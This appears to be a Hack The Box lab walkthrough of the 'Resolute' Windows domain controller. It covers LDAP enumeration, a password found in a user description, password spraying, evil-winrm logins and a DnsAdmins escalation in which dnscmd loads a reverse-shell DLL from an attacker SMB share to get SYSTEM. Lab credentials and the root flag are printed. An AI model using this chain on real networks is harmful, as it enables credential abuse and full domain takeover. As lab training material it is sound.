

Information Gathering

1) Found open ports

```
(vigneswar@VigneswarPC)-[~]
$ tcpscan 10.10.10.169
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-02 10:13 IST
Nmap scan report for 10.10.10.169
Host is up (0.18s latency).
Not shown: 65499 closed tcp ports (reset), 13 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Simple DNS Plus
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2024-07-02 04:51:51Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds     Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?        Microsoft Windows RPC over HTTP 1.0
593/tcp   open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap             Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf           .NET Message Framing
47001/tcp open  http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc            Microsoft Windows RPC
49665/tcp open  msrpc            Microsoft Windows RPC
49666/tcp open  msrpc            Microsoft Windows RPC
49667/tcp open  msrpc            Microsoft Windows RPC
49671/tcp open  msrpc            Microsoft Windows RPC
49678/tcp open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
49679/tcp open  msrpc            Microsoft Windows RPC
49684/tcp open  msrpc            Microsoft Windows RPC
49910/tcp open  msrpc            Microsoft Windows RPC
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
```

LDAP Port 3268

1) Anonymous bind is allowed

```
(vigneswar@VigneswarPC)-[~]
$ enum4linux 10.10.10.169
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Jul 2 10:18:09 2024

===== ( Target Information ) =====
Target ..... 10.10.10.169
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

===== ( Enumerating Workgroup/Domain on 10.10.10.169 ) =====
[E] Can't find workgroup/domain

===== ( Nbtstat Information for 10.10.10.169 ) =====
Looking up status of 10.10.10.169
No reply from 10.10.10.169

===== ( Session Check on 10.10.10.169 ) =====
[+] Server 10.10.10.169 allows sessions using username '', password ''
```

2) Found users

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claudes] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]

[+] Password Info for Domain: MEGABANK

```
[+] Minimum password length: 7
[+] Password history length: 24
[+] Maximum password age: Not Set
[+] Password Complexity Flags: 000000

[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0

[+] Minimum password age: 1 day 4 minutes
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: Not Set
```

3) Found credentials in description

```
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail Name: (null) Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null) Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette Name: (null) Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null) Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null) Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude Name: (null) Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null) Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null) Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo Name: (null) Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null) Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally Name: (null) Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon Name: (null) Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve Name: (null) Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null) Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null) Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null) Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null) Desc: (null)
```

MEGABANK\marko:Welcome123!

4) No accounts with kerberos preauth disabled

```

(vigneswar@VigneswarPC)-[~]
$ impacket-GetNPUsers MEGABANK/ -dc-ip 10.10.10.169 -usersfile users
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User ryan doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User marko doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sunita doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User abigail doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User marcus doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sally doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User fred doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User angela doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User felicia doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User gustavo doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ulf doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User stevie doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User claire doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User paulo doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User steve doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User annette doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User annika doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User per doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User claude doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User melanie doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User zach doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User simon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User naoki doesn't have UF_DONT_REQUIRE_PREAUTH set

```

Vulnerability Assessment

1) Found a user with default credentials

```

(vigneswar@VigneswarPC)-[~]
$ crackmapexec smb 10.10.10.169 -d MEGABANK -u users -p 'Welcome123!'
SMB 10.10.10.169 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:MEGABANK) (signing:True) (SMBv1:True)
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\Administrator:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\Guest:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\krbtgt:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\DefaultAccount:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\ryan:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\marko:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\sunita:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\abigail:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\marcus:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\sally:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\fred:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\angela:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\felicia:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\gustavo:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\ulf:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\stevie:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\claire:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\paulo:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\steve:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\annette:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\annika:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\per:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] MEGABANK\claude:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [+] MEGABANK\melanie:Welcome123!

```

2) Checked smb shares

[illegible]

Exploitation

1) Connected with winRM

```
(vigneswar@VigneswarPC)-[~]  
$ evil-winrm -u 'melanie' -p 'Welcome123!' -i 10.10.10.169  
Evil-WinRM shell v3.5  
  
Info: Establishing connection to remote endpoint  
*Evil-WinRM* PS C:\Users\melanie\Documents>
```

2) Switched to interactive shell

2) Found credentials

```
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
```

ryan:Serv3r4Admin4cc123!

3) Logged in as ryan

```
(vigneswar@VigneswarPC)-[~]
$ evil-winrm -u 'ryan' -p 'Serv3r4Admin4cc123!' -i 10.10.10.169

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /priv

PRIVILEGES INFORMATION
-----

Privilege Name      Description              State
=====
SeMachineAccountPrivilege  Add workstations to domain  Enabled
SeChangeNotifyPrivilege   Bypass traverse checking    Enabled
SeIncreaseWorkingSetPrivilege  Increase a process working set  Enabled
*Evil-WinRM* PS C:\Users\ryan\Documents>

*Evil-WinRM* PS C:\Users\ryan\Desktop> cat "C:/Users/ryan/Desktop/note.txt"
Email to team:

- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
*Evil-WinRM* PS C:\Users\ryan\Desktop>
```

4) The user is member of dns admins

```
*Evil-WinRM* PS C:\Users\ryan\Desktop> whoami /groups

GROUP INFORMATION
-----

Group Name      Type      SID      Attributes
=====
Everyone        Well-known group S-1-1-0   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users    Alias      S-1-5-32-545   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias      S-1-5-32-554   Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users    Alias      S-1-5-32-580   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK      Well-known group S-1-5-2       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users    Well-known group S-1-5-11      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization      Well-known group S-1-5-15      Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors      Group      S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins        Alias      S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication      Well-known group S-1-5-64-10   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label      S-1-16-8192
*Evil-WinRM* PS C:\Users\ryan\Desktop>
```

5) Exploited it
dns service runs in context of SYSTEM, we can utilize it to run commands in context of system

```
vigneswar@VigneswarPC: ~
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 1092
FLAGS :
*Evil-WinRM* PS C:\Users\ryan\Desktop> clear
*Evil-WinRM* PS C:\Users\ryan\Desktop>

Warning: Press "y" to exit, press any other key to continue
*Evil-WinRM* PS C:\Users\ryan\Desktop>
*Evil-WinRM* PS C:\Users\ryan\Desktop> dnscmd.exe /config /serverlevelplugin
dll \\10.10.14.3\kali\rev.dll

Registry property serverlevelplugin.dll successfully reset.
Command completed successfully.

*Evil-WinRM* PS C:\Users\ryan\Desktop> sc.exe stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE                : 3   STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE       : 0   (0x0)
        SERVICE_EXIT_CODE   : 0   (0x0)
        CHECKPOINT           : 0x0
        WAIT_HINT            : 0x0
*Evil-WinRM* PS C:\Users\ryan\Desktop> sc.exe start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE                : 2   START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDO
WN)
        WIN32_EXIT_CODE       : 0   (0x0)
        SERVICE_EXIT_CODE   : 0   (0x0)
        CHECKPOINT           : 0x0
        WAIT_HINT            : 0x7d0
        PID                 : 2864
        FLAGS                :
*Evil-WinRM* PS C:\Users\ryan\Desktop>

[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A478F6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.169,57447)
[*] AUTHENTICATE_MESSAGE (MEGABANK\RESOLUTE$,RESOLUTE)
[*] User RESOLUTE\RESOLUTE$ authenticated successfully
[*] RESOLUTE$: MEGABANK:aaaaaaaaaaaaaaaa:e576ccb6323e947047817adb54a14a2d:01
0100000000000080ec6a8e46ccda013caa55819fd6addb00000000100100073006300450071
006e006300660067000300100073006300450071006e00630066006700020010004700620057
0070004c0063004e0070000400100047006200570070004c0063004e0070000700080080ec6a
8e46ccda010600040002000000080030003000000000000000000000004000004f99fe7858
ddc230cf0043cdeaf9fdce355fb7b7bddf26a190c83e8351730bbb0a001000000000000000
00000000000000000001e0063006900660073002f00310030002e00310030002e00310034
002e0033000000000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:kali)
[*] Disconnecting Share(1:IPC$)

Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd \Users\Administrators\Desktop
cd \Users\Administrators\Desktop
The system cannot find the path specified.

C:\Windows\system32>cd \Users\Administrator\Desktop
cd \Users\Administrator\Desktop

C:\Users\Administrator\Desktop>cat root.txt
cat root.txt
'cat' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\Administrator\Desktop>type root.txt
type root.txt
d5a4699cf81a20b2c7892f92ae7866e7

C:\Users\Administrator\Desktop>
```